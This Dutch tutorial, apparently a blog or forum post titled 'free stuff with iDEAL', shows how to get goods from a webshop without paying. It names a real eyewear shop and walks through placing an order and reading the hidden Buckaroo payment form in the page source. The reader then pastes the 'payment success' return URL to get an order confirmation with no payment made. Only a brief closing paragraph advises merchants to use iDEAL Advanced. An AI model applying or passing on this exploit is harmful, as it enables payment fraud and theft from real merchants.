Gratis spullen met behulp van ideal.

Wat is iDEAL (gekopieerd van iDEAL.nl ) :

Met iDEAL kunt u vertrouwd, veilig en gemakkelijk uw online aankopen afrekenen. iDEAL is het systeem dat u direct koppelt aan uw internetbankierprogramma bij een online aankoop. Om gebruik te maken van iDEAL hoeft u zich niet te registreren, bestanden te downloaden of een account aan te maken. Maakt u gebruik van internetbankieren bij ABN AMRO, ASN Bank, Friesland Bank, ING, Rabobank, RegioBank, SNS Bank, Triodos Bank of Van Lanschot Bankiers, dan kunt u direct met iDEAL betalen. U rekent dan snel en gemakkelijk af in de vertrouwde internetbetaalomgeving van uw eigen bank. Betalen zoals u eigenlijk al gewend bent.

In de eerste zin worden al 2 leugens naar voren gebracht, namelijk: Vertrouwd & Veilig.

IDEAL pakketten:

Er zijn (in ieder geval bij de ING) 2 verschillende iDEAL pakketten beschikbaar:
iDEAL basic
iDEAL Advanced

Meer mensen kiezen voor iDEAL basic, omdat deze veel makkelijker te integreren is. Deze is dan ook niet veilig. IDEAL advanced daarintegen heeft een iets betere beveiliging, maar dus veel moeilijker te integreren. Mensen kiezen dus sneller voor de basic/lite versie.

Op iDEAL.nl word dan ook door iDEAL het volgende verkondigd:
iDEAL Lite biedt GEEN betrouwbare terugkoppeling wat betreft de betaalstatus. 

De uitleg:

Zoals ik dus al aangaf gaan we opzoek naar een `webshop` die gebruik maakt van de iDEAL Lite versie. Voor deze tutorial gebruik ik de website: http://www.eye-wear.nl/

Maak op deze website een account aan en zoek je een leuk brillensetje op.
Wij gaan voor de Ray-Ban Aviator zonnebril. Gouden kleurtje, Gouden glaasjes en voor de groothoofden onder ons gaan we voor een maatje M.

Eenmaal ingevuld, klikken we op bestellen en gaan we door naar stap 2. Log nu in met het account dat je hebt aangemaakt. Gooi er voor de aardigheid ook maar een luxe geschenkverpakking omheen en druk op: Ga verder. Selecteer vervolgens bij betalingsmogelijkheden: iDEAL. Lees de algemene voorwaarden (uhu…) indien je akkoord gaat vink je deze aan en druk je op: bestellen.

Vervolgens zie je deze pagina:

Nu gaat het `moeilijkste` komen.

Rechtsklik op de pagina en klik op: Bron bekijken. Dat was moeilijk, of niet jongens?
Daar zie je staan:

<form name=”Form” action=”https://payment.buckaroo.nl/gateway/ideal_payment.asp” method=”post”> <input type=”hidden” name=”BPE_Merchant” value=”YGNVQhJiBp” /> <input type=”hidden” name=”BPE_Amount” value=”19800″ /> <input type=”hidden” name=”BPE_Currency” value=”EUR” /> <input type=”hidden” name=”BPE_Style” value=”PAGE” /> <input type=”hidden” name=”BPE_Invoice” value=”______” /> <input type=”hidden” name=”BPE_Description” value=”Online betaling.” /> <input type=”hidden” name=”BPE_Language” value=”NL” /> <input type=”hidden” name=”BPE_Mode” value=”0″ /> <input type=”hidden” name=”BPE_Reference” value=”________” /> <input type=”hidden” name=”BPE_Return_Target” value=”” /> <input type=”hidden” name=”BPE_Return_Method” value=”POST” /> <input type=”hidden” name=”BPE_Return_Success” value=”https://www.eye-wear.nl/winkelmandje/5-bevestiging/ok” /> <input type=”hidden” name=”BPE_Return_Failure” value=”https://www.eye-wear.nl/winkelmandje/5-bevestiging/error/error” /> <input type=”hidden” name=”BPE_Return_Error” value=”https://www.eye-wear.nl/winkelmandje/5-bevestiging/error/error” /> <input type=”hidden” name=”BPE_Signature2″ value=”_______” /> <input type=”hidden” name=”BPE_Customerid” value=”____” /> <input type=”hidden” name=”BPE_Invoicevat” value=”___” /> <input type=”hidden” name=”BPE_Paymentdatedue” value=”___” />

Waar het ons om gaat is:
https://www.eye-wear.nl/winkelmandje/5-bevestiging/ok

Dat is de link, waar we heen gestuurd worden na de betaling. Deze plakken wij in onze browser drukken op enter en ontvangen een leuk emailtje met: Bedankt voor uw bestelling. En we hebben “Betaald”.

Hoe kun je deze ‘lek’ voorkomen?

Ik heb al een hoop geprobeerd, curl & php… javascript & autosubmit… maar niets hielp.
Bij javascript & autosubmit heb je ook het probleem dat je met Tamperdata ( Firefox plugin ) de postwaarden kunt bekijken en dus alsnog deze link achterhaald.

Enige oplossing is: Neem iDEAL Advanced en niet de basic versie. Want zoals je kunt zien, gaat dit je straks meer geld/werk kosten dan het opleverd.